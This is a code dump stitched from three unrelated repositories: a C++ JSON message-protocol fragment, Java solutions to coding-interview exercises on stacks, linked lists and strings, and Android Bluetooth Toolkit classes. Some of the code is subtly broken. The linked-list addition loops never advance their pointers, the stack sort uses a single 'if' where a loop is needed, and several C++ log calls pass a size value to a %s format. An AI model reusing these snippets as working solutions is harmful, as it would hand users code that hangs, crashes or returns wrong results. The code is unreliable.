}
//result
json_object *_result = NULL;
if (!json_object_object_get_ex(root, "result", &_result))
{
XCP_LOGGER_ERROR(&g_logger, "it is invalid rsp, no result, rsp):%s\n", rsp.size(), rsp.c_str());
err_info = "it is invalid rsp, no result.";
json_object_put(root);
return -2;
}
if (get(_result, "code", code,err_info) != 0)
{
XCP_LOGGER_ERROR(&g_logger, "it is invalid code, no code, rsp):%s\n", rsp.size(), rsp.c_str());
json_object_put(root);
return -3;
}
//释放内存
json_object_put(root);
return 0;
}
std::string XProtocol::push_msg_update_user_req(const std::string &msg_tag, const unsigned long long &user_id)
{
char msg[MAX_PROTOCOL_BUFF_LEN] = { 0 };
snprintf(msg, MAX_PROTOCOL_BUFF_LEN, "{\"method\":\"%s\", \"timestamp\":%llu, \"req_id\":0, \"msg_tag\":\"%s\", \"params\":{\"method\":\"%s\",\"status\":\"online\",\"user_id\":%llu}}\n",
CMD_PUSH_MSG.c_str(), getTimestamp(), msg_tag.c_str(), CMD_SYN_UPDARE_USER.c_str(), user_id);
return msg;
}
int XProtocol::push_msg_update_user_rsp(const std::string &rsp, int code, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(rsp.c_str(), &jerr);
if (jerr != json_tokener_success)
{
XCP_LOGGER_ERROR(&g_logger, "json_tokener_parse_verbose failed, rsp:%s, err:%s\n",
rsp.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json rsp.";
return -1;
}
//result
json_object *_result = NULL;
if (!json_object_object_get_ex(root, "result", &_result))
{
XCP_LOGGER_ERROR(&g_logger, "it is invalid rsp, no result, rsp):%s\n", rsp.c_str());
err_info = "it is invalid rsp, no result.";
json_object_put(root);
return -2;
}
if (get(_result, "code", code, err_info) != 0)
{
XCP_LOGGER_ERROR(&g_logger, "it is invalid code, no code, rsp):%s\n", rsp.c_str());
json_object_put(root);
return -3;
}
//释放内存
json_object_put(root);
return 0;
}
std::string XProtocol::send_sms_req(const std::string &phone, const std::string &content, const std::string &channel, const std::string &msg_tag)
{
char msg[MAX_PROTOCOL_BUFF_LEN] = { 0 };
snprintf(msg, MAX_PROTOCOL_BUFF_LEN, "{\"method\":\"%s\", \"timestamp\":%llu, \"req_id\":0, \"msg_tag\":\"%s\", \"params\":{\"phone\":\"%s\",\"content\":\"%s\",\"channel\":\"%s\"}}\n",
CMD_SMS.c_str(), getTimestamp(), msg_tag.c_str(), phone.c_str(), content.c_str(),channel.c_str());
return msg;
}
int XProtocol::send_sms_rsp(const std::string &rsp, int &code, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(rsp.c_str(), &jerr);
if (jerr != json_tokener_success)
{
XCP_LOGGER_ERROR(&g_logger, "json_tokener_parse_verbose failed, rsp:%s, err:%s\n",
rsp.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json rsp.";
return -1;
}
if (get(root, "code", code, err_info) != 0)
{
XCP_LOGGER_ERROR(&g_logger, "it is invalid code, no code, rsp):%s\n", rsp.c_str());
json_object_put(root);
return -3;
}
//释放内存
json_object_put(root);
return 0;
}
std::string XProtocol::get_user_profile_rsp(const std::string &token)
{
char body[MAX_PROTOCOL_BUFF_LEN] = { 0 };
snprintf(body, sizeof(body), "{\"token\":\"%s\"}", token.c_str());
return body;
}
|
d7ac12f8363d7c79058b24a814218e3346ebd07f
|
[
"C++"
] | 7 |
C++
|
hunterhang/user_mgt_svr
|
ecbaf9074b1c9a22d3cd135b6b3ec44a1d545a07
|
59ded9b7c94fce526b4f2ff7bc1acc45fe5334a6
|
refs/heads/master
|
<file_sep>package Chapter3.chapter3_1;
class FullStackException extends Exception {
}
class EmptyStackException extends Exception {
}
public class chapter3_1 {
//use a single array to implement three stacks
int stackNum = 3;
int stackCapacity;
int[] values;
int[] sizes;
public void init (int stackSize) {
this.stackCapacity = stackSize;
this.values = new int[stackSize * stackNum];
this.sizes = new int[stackNum];
}
public void push (int stackIndex, int value) throws FullStackException {
if (isFull(stackIndex)) {
throw new FullStackException();
}
sizes[stackIndex]++;
values[topIndex(stackIndex)] = value;
}
public int pop (int stackIndex) throws EmptyStackException {
if (isEmpty(stackIndex)) {
throw new EmptyStackException();
}
int result = values[topIndex(stackIndex)];
values[topIndex(stackIndex)] = 0;
sizes[stackIndex]--;
return result;
}
public int peek (int stackIndex) throws EmptyStackException {
if (isEmpty(stackIndex)) {
throw new EmptyStackException();
}
return values[topIndex(stackIndex)];
}
private int topIndex(int stackIndex) {
int offset = stackIndex * stackCapacity;
int size = sizes[stackIndex];
return offset + size - 1;
}
private boolean isEmpty(int stackIndex) {
return sizes[stackIndex] == 0;
}
private boolean isFull (int stackIndex) {
return sizes[stackIndex] == stackCapacity;
}
}
<file_sep>package Chapter3.chapter3_3;
import java.util.ArrayList;
import java.util.EmptyStackException;
class Node {
public int value;
public Node above;
public Node below;
public Node (int value) {
this.value = value;
this.above = null;
this.below = null;
}
}
class Stack {
private int capacity;
public Node top, bottom;
int size;
public Stack (int capacity) {
this.capacity = capacity;
size = 0;
}
public boolean isFull () {
return size == capacity;
}
private void join (Node above, Node below) {
if (below != null) {
below.above = above;
}
if (above != null) {
above.below = below;
}
}
public boolean push (int value) {
if (isFull()) {
return false;
}
Node n = new Node(value);
size++;
if (size == 1) {
bottom = n;
}
join(n, top);
top = n;
return true;
}
public int pop () {
if (top == null) {
throw new EmptyStackException();
}
Node t = top;
top =top.below;
size--;
return t.value;
}
public int peek () {
if (top == null) {
throw new EmptyStackException();
}
return top.value;
}
public boolean isEmpty () {
return size == 0;
}
public int removeBottom () {
Node b = bottom;
if (bottom != null) {
bottom = bottom.above;
}
if (bottom != null) {
bottom.below = null;
}
size--;
return b.value;
}
}
public class chapter3_3_followup {
//shift the bottom elem form next stack to the current stack after removing the top
//elem of the current stack
ArrayList<Stack> stacks = new ArrayList<>();
public int capacity;
public void init (int capacity) {
this.capacity = capacity;
}
public Stack getLastStack () {
if (stacks.size() == 0) {
return null;
}
return stacks.get(stacks.size() - 1);
}
public boolean isEmpty () {
Stack last = getLastStack();
return last == null || last.isEmpty();
}
public int popAt (int index) {
return leftShift(index, true);
}
private int leftShift(int index, boolean removeTop) {
Stack stack = stacks.get(index);
int remove_item;
if (removeTop) {
remove_item = stack.pop();
} else {
remove_item = stack.removeBottom();
}
if (stack.isEmpty()) {
stacks.remove(index);
} else if (stacks.size() > index + 1) {
int v = leftShift(index + 1, false);
stack.push(v);
}
return remove_item;
}
}
<file_sep>package Chapter1.chapter1_3;
public class chapter1_3 {
public void replacement (String s, int length) {
if (s == null || s.length() == 0 || length == 0) {
return;
}
char[] ss = s.toCharArray();
//first scan to find all the " "
int count = 0, newLength;
for (int i = 0; i < ss.length; i++) {
if (ss[i] == ' ') {
count++;
}
}
newLength = length + 2 * count;
//second scan to replace the " " with "%20"
for (int i = ss.length - 1; i >= 0; i--) {
if (ss[i] == ' ') {
ss[newLength - 1] = '0';
ss[newLength - 2] = '2';
ss[newLength - 3] = '%';
newLength = newLength - 3;
} else {
ss[newLength - 1] = ss[i];
newLength--;
}
}
}
}
<file_sep>package Chapter3.chapter3_3;
import java.util.ArrayList;
import java.util.EmptyStackException;
import java.util.List;
import java.util.Stack;
public class chapter3_3 {
int stackCapacity;
List<Stack<Integer>> stacks = new ArrayList<>();
public void push (int value) {
Stack lastStack = getLastStack();
if (lastStack != null && lastStack.size() < stackCapacity) {
lastStack.push(value);
} else {
Stack<Integer> nextStack = new Stack<>();
nextStack.push(value);
stacks.add(nextStack);
}
}
public int pop () {
Stack<Integer> lastStack = getLastStack();
if (lastStack == null) {
throw new EmptyStackException();
}
int value = lastStack.pop();
if (lastStack.size() == 0) {
stacks.remove(stacks.size() - 1);
}
return value;
}
public Stack<Integer> getLastStack() {
return stacks.get(stacks.size() - 1);
}
}
<file_sep>package Chapter2.chapter2_6;
class ListNode {
int val;
ListNode next;
public ListNode (int val) {
this.val = val;
this.next = null;
}
}
public class chapter2_6 {
public boolean isPalindrome (ListNode head) {
if (head == null || head.next == null) {
return true;
}
ListNode last = reverse(head);
while (head != null) {
if (head.val != last.val) {
return false;
}
head = head.next;
last = last.next;
}
return true;
}
private ListNode reverse(ListNode head) {
if (head == null || head.next == null) {
return head;
}
ListNode pre = head;
ListNode curt = head.next;
head.next = null;
while (curt != null) {
ListNode temp = curt.next;
curt.next = pre;
pre = curt;
curt = temp;
}
return pre;
}
}
<file_sep>package Chapter3.chapter3_5;
import java.util.Stack;
public class chapter3_5 {
//use to stack to sort
public Stack<Integer> sortByStack (Stack<Integer> s) {
Stack<Integer> stack = new Stack<>();
while (!s.isEmpty()) {
int temp = s.pop();
if (!stack.isEmpty() && stack.peek() > temp) {
s.push(stack.pop());
}
stack.push(temp);
}
while (!stack.isEmpty()) {
s.push(stack.pop());
}
return s;
}
}
<file_sep>package Chapter2.chapter2_3;
class ListNode {
int val;
ListNode next;
public ListNode (int val) {
this.val = val;
this.next = null;
}
}
public class chapter2_3 {
//only give the access to the delete node, not the head
//so just copy the next node to the delete node and then delete next node
public void deleteMid (ListNode node) {
if (node == null || node.next == null) {
return;
}
ListNode next = node.next;
node.val = next.val;
node.next = next.next;
}
}
<file_sep>package Chapter2.chapter2_5;
class ListNode {
int val;
ListNode next;
public ListNode (int val) {
this.val = val;
this.next = null;
}
}
public class chapter2_5 {
//add l1 and l2 return result as list
public ListNode addList (ListNode l1, ListNode l2) {
if (l1 == null || l2 == null) {
return null;
}
int carry = 0;
ListNode dummy = new ListNode(0);
ListNode result = null;
while (l1 != null && l2 != null) {
int sum = l1.val + l2.val + carry;
int value = sum % 10;
carry = sum / 10;
if (result == null) {
result = new ListNode(value);
dummy.next = result;
} else {
result.next = new ListNode(value);
result = result.next;
}
}
while (l1 != null) {
int sum = l1.val + carry;
int value = sum % 10;
carry = sum / 10;
result.next = new ListNode(value);
result = result.next;
}
while (l2 != null) {
int sum = l2.val + carry;
int value = sum % 10;
carry = sum / 10;
result.next = new ListNode(value);
result = result.next;
}
if (carry != 0) {
result.next = new ListNode(carry);
}
return dummy.next;
}
//follow up question
public ListNode addList2 (ListNode l1, ListNode l2) {
//padding the shorter list with 0
int len1 = length(l1);
int len2 = length(l2);
if (len1 < len2) {
l1 = padding(l1, len2 - len1, 0);
} else {
l2 = padding(l2, len1 - len2, 0);
}
return addList(l1, l2);
}
private ListNode padding(ListNode l, int len, int num) {
ListNode head = l;
for (int i = 0; i < len; i++) {
ListNode curt = new ListNode(num);
curt.next = head;
head = curt;
}
return head;
}
private int length(ListNode l) {
int len = 0;
while (l != null) {
len++;
l = l.next;
}
return len;
}
}
<file_sep>package Chapter1.chapter1_4;
public class chapter1_4 {
//count all the characters in s and to check whether there is at most 1 odd count
public boolean isPermutationOfPalindrome (String s) {
int[] count = getCountNum(s);
return check(count);
}
private int[] getCountNum(String s) {
int[] count = new int[26];
s = s.toLowerCase();
for (char c : s.toCharArray()) {
int index = getCharNum(c);
if (index != -1) {
count[index]++;
}
}
return count;
}
private int getCharNum(char c) {
if (c >= 'a' && c <= 'z') {
return c - 'a';
}
return -1;
}
private boolean check(int[] count) {
boolean foundOdd = false;
for (int i : count) {
if (i % 2 == 1) {
if (foundOdd) {
return false;
}
foundOdd = true;
}
}
return true;
}
//we only want to know whether each character is even or odd, don't need to know the count
public boolean isPermutationOfPalindrome2 (String s) {
s = s.toLowerCase();
int monitor = 0;
for (char c : s.toCharArray()) {
int index = getCharNum(c);
monitor = flipBit(monitor, index);
}
return monitor == 0 || checkExactlyOne(monitor);
}
//to check whether there is only on bit to be 1
//if there is only one bit to be 1, like 1000, if we describe it by 1, it will
//be 0111, which has no overlap with the original one, so if we & this two number
//we will get 0
private boolean checkExactlyOne(int monitor) {
return (monitor & (monitor - 1)) == 0;
}
//every time the character appears, we flip its index bit
private int flipBit(int monitor, int index) {
if (index < 0) {
return monitor;
}
//0^1=1, 1^1=0
monitor ^= (1 << index);
return monitor;
}
}
<file_sep>package Chapter1.chapter1_5;
public class chapter1_5 {
public boolean oneEditAway (String str1, String str2) {
if (str1.length() == str2.length()) {
return editReplacement(str1, str2);
} else if (str1.length() - 1 == str2.length()) {
return editIntersion(str2, str1);
} else if (str1.length() + 1 == str2.length()) {
return editIntersion(str1, str2);
}
return false;
}
private boolean editIntersion(String str1, String str2) {
int index1 = 0;
int index2 = 0;
while (index1 < str1.length() && index2 < str2.length()) {
if (str1.charAt(index1) != str2.charAt(index2)) {
if (index1 != index2) {
return false;
}
index2++;
} else {
index1++;
index2++;
}
}
return true;
}
private boolean editReplacement(String str1, String str2) {
boolean foundOne = false;
for (int i = 0; i < str1.length(); i++) {
if (str1.charAt(i) != str2.charAt(i)) {
if (foundOne) {
return false;
}
foundOne = true;
}
}
return foundOne;
}
}
<file_sep>package Chapter1.chapter1_8;
public class chapter1_8 {
public void zeroMatrix (int[][] matrix) {
int m = matrix.length;
int n = matrix[0].length;
boolean isRowZero = false;
boolean isColumnZero = false;
for (int i = 0; i < m; i++) {
if (matrix[i][0] == 0) {
isColumnZero = true;
break;
}
}
for (int j = 0; j < n; j++) {
if (matrix[0][j] == 0) {
isRowZero = true;
break;
}
}
for (int i = 1; i < m; i++) {
for (int j = 1; j < n; j++) {
if (matrix[i][j] == 0) {
matrix[i][0] = 0;
matrix[0][j] = 0;
}
}
}
for (int i = 1; i < m; i++) {
if (matrix[i][0] == 0) {
notifyRow(matrix, i);
}
}
for (int j = 1; j < n; j++) {
if (matrix[0][j] == 0) {
notifyColumn(matrix, j);
}
}
if (isRowZero) {
notifyRow(matrix, 0);
}
if (isColumnZero) {
notifyColumn(matrix, 0);
}
}
private void notifyColumn(int[][] matrix, int j) {
for (int i = 0; i < matrix.length; i++) {
matrix[i][j] = 0;
}
}
private void notifyRow(int[][] matrix, int i) {
for (int j = 0; j < matrix[0].length; j++) {
matrix[i][j] = 0;
}
}
}
|
30dec0d530e8154feaab8857ecb8fd861b9f7cdf
|
[
"Java"
] | 11 |
Java
|
zhengyang2015/CC150
|
069c4ebf7994fea3eb4393134ab689b4591bbd13
|
6f23845a218f23fb42a45feb543bcfb517eefff9
|
refs/heads/master
|
<file_sep>// Your code goes here!
//console.log("Test")
let TODOS = [];
function addItem(count) {
if (count === 1) {
return "item";
} else {
return "items";
}
}
function update () {
const $todoList = document.querySelector('.todo-list');
//we use the next line to cleane eveerything in the input
$todoList.innerHTML = '';
for (item of TODOS) {
// console.log(item);
const $li = document.createElement("li");
//$li.innerHTML = item.title;
if (item.done) {
$li.classList.add("completed")
}
$todoList.appendChild($li);
//TOGGLE BUTTON
const $toggle = document.createElement('input');
//$toggel.className = "toggle";
$toggle.setAttribute ("class", "toggle");
$toggle.setAttribute ("type", "checkbox");
if (item.done) {
$toggle.setAttribute("checked","checked")
}
$toggle.addEventListener("change", onToggleTodo.bind(null, item.id));
$li.appendChild($toggle);
//label
const $label = document.createElement("label");
$label.innerHTML = item.title;
$li.appendChild($label);
//Delete button
const $button = document.createElement("button");
$button.className = "destroy";
$button.addEventListener('click', onDeleteTodo.bind(null, item.id));
$li.appendChild($button);
//count the items
const counter = TODOS.filter(todo => !todo.done);
document.querySelector('.todo-count').innerHTML = counter.length + " " + addItem(counter.length);
}
document.querySelector('.main').style.display = "block";
}
function onToggleTodo(id){
const todo = TODOS.find(todo => todo.id === id);
todo.done = !todo.done;
update();
}
function onNewTodo (e) {
const title = e.target.value
//this is the same thing
//const title = document.querySelector('.new-todo').value;
console.log(title);
TODOS.push({
id: Date.now(),
title,
done: false
});
update();
e.target.value = "";
}
//Active delete button
function onDeleteTodo(id) {
TODOS = TODOS.filter(todo => todo.id !== id);
update();
}
//slect the new todo input filed
const $newTodo = document.querySelector('.new-todo');
$newTodo.addEventListener('change', onNewTodo);
update();
|
c6b42b74e620590defac19ae993a3164aea7d125
|
[
"JavaScript"
] | 1 |
JavaScript
|
HackYourFutureBEHomework/Class1-pauljackob
|
cd3267f4ad0b3806674a581a53ffeb48a12ba2c7
|
cd119d8c0b384d90b1cbae3942df6e77b1cdedaf
|
refs/heads/master
|
<repo_name>KikiTheMonk/Bluetooth-Toolkit<file_sep>/app/src/main/java/com/kyriakosalexandrou/bluetoothtoolkit/bt/classic/spp/SPPManagerUiCallback.java
package com.kyriakosalexandrou.bluetoothtoolkit.bt.classic.spp;
public interface SPPManagerUiCallback {
/**
* called when data is received from the remote BT classic device
*/
void onUiRemoteDeviceRead(String result);
}
<file_sep>/app/src/main/java/com/kyriakosalexandrou/bluetoothtoolkit/bt/ble/BleSearch/BleSearchHelperCallback.java
package com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.BleSearch;
import android.bluetooth.BluetoothDevice;
import java.util.UUID;
/**
* Callback's for BLE search operations.
*/
public interface BleSearchHelperCallback {
void onBleStopScan();
/**
* Callback reporting a BLE device found during a scan that was initiated by one of the following
* <br>
* {@link BleSearchBaseHelper#startScan()}<br>
* {@link BleSearchBaseHelper#startScan(UUID[])}<br>
* {@link BleSearchBaseHelper#startBleScanPeriodically()}<br>
* {@link BleSearchBaseHelper#startBleScanPeriodically(UUID[])}
*
* @param device Identifies the remote device
* @param rssi The RSSI value for the remote device as reported by the
* Bluetooth hardware. 0 if no RSSI value is available.
* @param scanRecord The content of the advertisement record offered by the remote
* device.
*/
void onBleDeviceFound(final BluetoothDevice device, final int rssi,
final byte[] scanRecord);
}<file_sep>/app/src/main/java/com/kyriakosalexandrou/bluetoothtoolkit/bt/ble/heartratemeasurement/HrmDeviceManagerUiCallback.java
package com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.heartratemeasurement;
public interface HrmDeviceManagerUiCallback {
void onUiHrmFound(boolean isFound);
/**
* gets called whenever the heart rate measurement changes from the remote
* BLE device
*
* @param hrmValue the new heart rate measurement value
*/
void onUiHRM(final int hrmValue);
/**
* called when the body sensor location characteristic is read with its
* current body sensor location value
*
* @param bodySensorLocationValue the current body sensor location value
*/
void onUiBodySensorLocation(final int bodySensorLocationValue);
}
<file_sep>/app/src/main/java/com/kyriakosalexandrou/bluetoothtoolkit/adapters/ListFoundDevicesAdapter.java
package com.kyriakosalexandrou.bluetoothtoolkit.adapters;
import android.annotation.SuppressLint;
import android.bluetooth.BluetoothDevice;
import android.content.Context;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.TextView;
import com.kyriakosalexandrou.bluetoothtoolkit.R;
import java.util.ArrayList;
/**
* Responsible for handling the BT classic and LE devices
*
* @author Kyriakos.Alexandrou
*/
public class ListFoundDevicesAdapter extends BaseAdapter {
private String TAG = "ListFoundDevicesHandler";
private ArrayList<BluetoothDevice> mDevices;
private ArrayList<Integer> mRSSIs;
private Context mContext;
public ListFoundDevicesAdapter(Context context) {
super();
mDevices = new ArrayList<BluetoothDevice>();
mRSSIs = new ArrayList<Integer>();
mContext = context;
}
public void addDevice(BluetoothDevice device, int rssi, byte[] scanRecord) {
Log.i(TAG, "Device added in found devices list: " + device.getAddress());
if (!mDevices.contains(device)) {
mDevices.add(device);
mRSSIs.add(rssi);
} else {
mRSSIs.set(mDevices.indexOf(device), rssi);
}
notifyDataSetChanged();
}
public void addDevice(BluetoothDevice device, int rssi) {
Log.i(TAG, "Device added in found devices list: " + device.getAddress());
if (!mDevices.contains(device)) {
mDevices.add(device);
mRSSIs.add(rssi);
} else {
mRSSIs.set(mDevices.indexOf(device), rssi);
}
notifyDataSetChanged();
}
public BluetoothDevice getDevice(int index) {
return mDevices.get(index);
}
public int getRssi(int index) {
return mRSSIs.get(index);
}
public void clearList() {
mDevices.clear();
mRSSIs.clear();
}
@Override
public int getCount() {
return mDevices.size();
}
@Override
public Object getItem(int position) {
return getDevice(position);
}
@Override
public long getItemId(int position) {
return position;
}
@SuppressLint("InflateParams")
@Override
public View getView(int position, View convertView, ViewGroup parent) {
// get already available view or create new if necessary
FieldReferences fields;
if (convertView == null) {
convertView = LayoutInflater.from(mContext).inflate(R.layout.item_found_device, null);
fields = new FieldReferences();
fields.valueDeviceName = (TextView) convertView
.findViewById(R.id.device_name_item_value);
fields.valueDeviceAddress = (TextView) convertView
.findViewById(R.id.device_address_item_value);
fields.valueDeviceRssi = (TextView) convertView
.findViewById(R.id.device_rssi_Item_value);
convertView.setTag(fields);
} else {
fields = (FieldReferences) convertView.getTag();
}
// set proper values into the view
BluetoothDevice device = mDevices.get(position);
int rssi = mRSSIs.get(position);
String rssiString = (rssi == 0) ? "N/A" : rssi + " db";
String name = device.getName();
String address = device.getAddress();
if (name == null || name.length() <= 0)
name = "Unknown Device";
fields.valueDeviceName.setText(name);
fields.valueDeviceAddress.setText(address);
fields.valueDeviceRssi.setText(rssiString);
return convertView;
}
private class FieldReferences {
TextView valueDeviceName;
TextView valueDeviceAddress;
TextView valueDeviceRssi;
}
}<file_sep>/app/src/main/java/com/kyriakosalexandrou/bluetoothtoolkit/bt/ble/heartratemeasurement/HrmDeviceActivity.java
package com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.heartratemeasurement;
import android.os.Bundle;
import android.view.Menu;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
import android.widget.Toast;
import com.kyriakosalexandrou.bluetoothtoolkit.R;
import com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.BleBaseSingleDeviceActivity;
public class HrmDeviceActivity extends BleBaseSingleDeviceActivity implements
HrmDeviceManagerUiCallback {
private HrmDeviceManager mHrmDeviceManager;
private HrmGraph mGraph;
private TextView mValueHRM, mValueBodySensorPosition;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState, R.layout.activity_hrm);
mHrmDeviceManager = new HrmDeviceManager(this, this);
// setBleBaseDeviceManager(mHrmDeviceManager);
initialiseDialogAbout(getResources().getString(
R.string.about_heart_rate));
initialiseDialogFoundDevices("HRM", getResources().getDrawable(R.drawable.ic_toolbar_hrm));
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.hrm, menu);
getActionBar().setIcon(R.drawable.ic_toolbar_hrm);
getActionBar().setDisplayHomeAsUpEnabled(true);
return super.onCreateOptionsMenu(menu);
}
@Override
public void bindViews() {
super.bindViews();
bindCommonViews();
mValueHRM = (TextView) findViewById(R.id.valueHRM);
mValueBodySensorPosition = (TextView) findViewById(R.id.valueBodySensor);
/*
* getting the view of the whole activity, this is then passed to the
* base graph class to find the view for displaying the graph
*/
View wholeScreenView = ((ViewGroup) this
.findViewById(android.R.id.content)).getChildAt(0);
mGraph = new HrmGraph(this, wholeScreenView);
}
@Override
public void onUiConnected() {
super.onUiConnected();
uiInvalidateViewsState();
}
@Override
public void onUiDisconnected(int status) {
super.onUiDisconnected(status);
runOnUiThread(new Runnable() {
@Override
public void run() {
mValueHRM.setText(getResources().getString(R.string.dash));
mValueBodySensorPosition.setText(getResources().getString(
R.string.non_applicable));
if (mGraph != null) {
mGraph.clearGraph();
}
}
});
mGraph.setStartTime(0);
}
@Override
public void onUiHrmFound(boolean isFound) {
if (!isFound) {
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(
mActivity,
"Heart rate measurement "
+ "characteristic was not found",
Toast.LENGTH_SHORT).show();
}
});
}
}
@Override
public void onUiHRM(final int hrmValue) {
mGraph.startTimer();
runOnUiThread(new Runnable() {
@Override
public void run() {
mValueHRM.setText(mHrmDeviceManager.getFormattedHtmValue());
mGraph.addNewData(hrmValue);
}
});
}
@Override
public void onUiBodySensorLocation(final int valueBodySensorLocation) {
runOnUiThread(new Runnable() {
@Override
public void run() {
mValueBodySensorPosition.setText(mHrmDeviceManager.getFormattedBodySensorValue());
}
});
}
}
<file_sep>/app/src/main/java/com/kyriakosalexandrou/bluetoothtoolkit/bt/classic/spp/SPPManager.java
package com.kyriakosalexandrou.bluetoothtoolkit.bt.classic.spp;
import android.content.Context;
import android.util.Log;
import com.kyriakosalexandrou.bluetoothtoolkit.bt.classic.BtcBaseDeviceManager;
import com.kyriakosalexandrou.bluetoothtoolkit.bt.classic.BtcBaseDeviceManagerUiCallback;
import org.apache.commons.lang3.StringEscapeUtils;
import java.util.UUID;
public class SPPManager extends BtcBaseDeviceManager {
private static final String TAG = "SPPManager";
private static final int TOTAL_BYTES_TO_READ_FROM_REMOTE_DEVICE = 100;
public static final UUID UUID_SPP = UUID
.fromString("00001101-0000-1000-8000-00805F9B34FB");
private SPPManagerUiCallback mSPPManagerUiCallback;
public SPPManager(Context context,
BtcBaseDeviceManagerUiCallback btcBaseDeviceManagerUiCallback) {
super(context, btcBaseDeviceManagerUiCallback, UUID_SPP);
mSPPManagerUiCallback = (SPPManagerUiCallback) btcBaseDeviceManagerUiCallback;
}
@Override
public void onBtcConnected() {
super.onBtcConnected();
startDataListeningFromRemoteDevice(TOTAL_BYTES_TO_READ_FROM_REMOTE_DEVICE);
}
@Override
public void onBtcDisconnected() {
super.onBtcDisconnected();
}
@Override
public void onBtcConnectFailed() {
super.onBtcConnectFailed();
}
@Override
public void onBtcDataRead(byte[] buffer) {
/*
* The buffer might have extra data, if the data that was sent from the
* remote device is less than the size of our buffer then the buffer
* will have extra unneeded data.
*
* As we only want the data that was actually sent from the remote
* device, we discard the extra data.
*/
String result = new String(buffer);
Log.i(TAG,
"Received data from remote device: "
+ StringEscapeUtils.escapeJava(result));
mSPPManagerUiCallback.onUiRemoteDeviceRead(result);
}
}
<file_sep>/app/src/main/java/com/kyriakosalexandrou/bluetoothtoolkit/bt/classic/BtcSearchHelperCallback.java
package com.kyriakosalexandrou.bluetoothtoolkit.bt.classic;
import android.bluetooth.BluetoothDevice;
/**
* Callback's for BT classic search operations.
*/
public interface BtcSearchHelperCallback {
/**
* callback indicating that a BT classic scanning operation stopped
*/
void onDiscoveryStop();
/**
* Called when a BT classic device was found during a scan.
*
* @param device The BT device
* @param rssi The RSSI value for the remote device as reported by the
* Bluetooth hardware. 0 if no RSSI value is available.
*/
void onDiscoveryDeviceFound(final BluetoothDevice device,final int rssi);
}<file_sep>/app/src/main/java/com/kyriakosalexandrou/bluetoothtoolkit/ui/progressbar/BaseProgressBarHelper.java
package com.kyriakosalexandrou.bluetoothtoolkit.ui.progressbar;
import android.content.Context;
import android.support.annotation.Nullable;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ProgressBar;
import com.kyriakosalexandrou.bluetoothtoolkit.R;
import com.kyriakosalexandrou.bluetoothtoolkit.UtilHelper;
/**
* Created by Kyriakos on 18/12/2015.
* <p/>
* Abstract base class for common progress bar logic
*/
public abstract class BaseProgressBarHelper {
private static final String TAG = BaseProgressBarHelper.class.getSimpleName();
private ProgressBar mProgressBar;
private View mProgressBarContainer;
/**
* prepares the progressBar object
*
* @param context the context
* @param progressBarSize Can be one of {@link ProgressBarSize#SMALL}
* {@link ProgressBarSize#LARGE}
* {@link ProgressBarSize#FULL_SCREEN}
* <p/>
* if null is passed then the {@link ProgressBarSize#SMALL} is used
*/
public BaseProgressBarHelper(Context context, @Nullable ProgressBarSize progressBarSize) {
if (context != null) {
mProgressBarContainer = createProgressBarContainer(context, progressBarSize);
mProgressBar = createProgressBar(mProgressBarContainer);
} else {
Log.v(TAG, "The context parameter was null");
}
}
/**
* this can be used to make changes to the actual progress bar during runtime such as change state, drawable etc.
*
* @return the progress bar
*/
public final ProgressBar getProgressBar() {
return mProgressBar;
}
private View createProgressBarContainer(Context context, @Nullable ProgressBarSize progressBarSize) {
LayoutInflater layoutInflater = UtilHelper.getLayoutInflater(context);
View progressBarContainer = inflateProgressBarView(layoutInflater, progressBarSize);
ViewGroup layout = UtilHelper.getRootView(context);
layout.addView(progressBarContainer);
return progressBarContainer;
}
private View inflateProgressBarView(LayoutInflater layoutInflater, @Nullable ProgressBarSize progressBarSize) {
View progressBarContainer;
switch (progressBarSize) {
case SMALL:
progressBarContainer = layoutInflater.inflate(R.layout.progress_bar_small, null);
break;
case LARGE:
progressBarContainer = layoutInflater.inflate(R.layout.progress_bar_large, null);
break;
case FULL_SCREEN:
progressBarContainer = layoutInflater.inflate(R.layout.progress_bar_full_screen, null);
break;
default:
progressBarContainer = layoutInflater.inflate(R.layout.progress_bar_small, null);
}
return progressBarContainer;
}
private ProgressBar createProgressBar(View progressBarContainer) {
ProgressBar progressBar = (ProgressBar) progressBarContainer.findViewById(R.id.progress);
return progressBar;
}
/**
* shows the progressBar
*/
public void showProgressBar() {
if (mProgressBarContainer != null) {
mProgressBarContainer.setVisibility(View.VISIBLE);
}
}
/**
* hides the progressBar
*/
public void hideProgressBar() {
if (mProgressBarContainer != null) {
mProgressBarContainer.setVisibility(View.GONE);
}
}
/**
* different progress bar sizes
* <p/>
* can be one of
* {@link ProgressBarSize#SMALL}
* {@link ProgressBarSize#LARGE}
* {@link ProgressBarSize#FULL_SCREEN}
*/
public enum ProgressBarSize {
/**
* a small sized progress bar
*/
SMALL,
/**
* a large sized progress bar
*/
LARGE,
/**
* the progress bar takes the full width and height of the screen
*/
FULL_SCREEN
}
}<file_sep>/app/src/main/java/com/kyriakosalexandrou/bluetoothtoolkit/adapters/HomeIconsAdapter.java
package com.kyriakosalexandrou.bluetoothtoolkit.adapters;
import android.annotation.SuppressLint;
import android.content.Context;
import android.content.Intent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.Toast;
import com.kyriakosalexandrou.bluetoothtoolkit.R;
import com.kyriakosalexandrou.bluetoothtoolkit.UtilHelper;
import com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.bloodpressuremeasurement.BpmDeviceActivity;
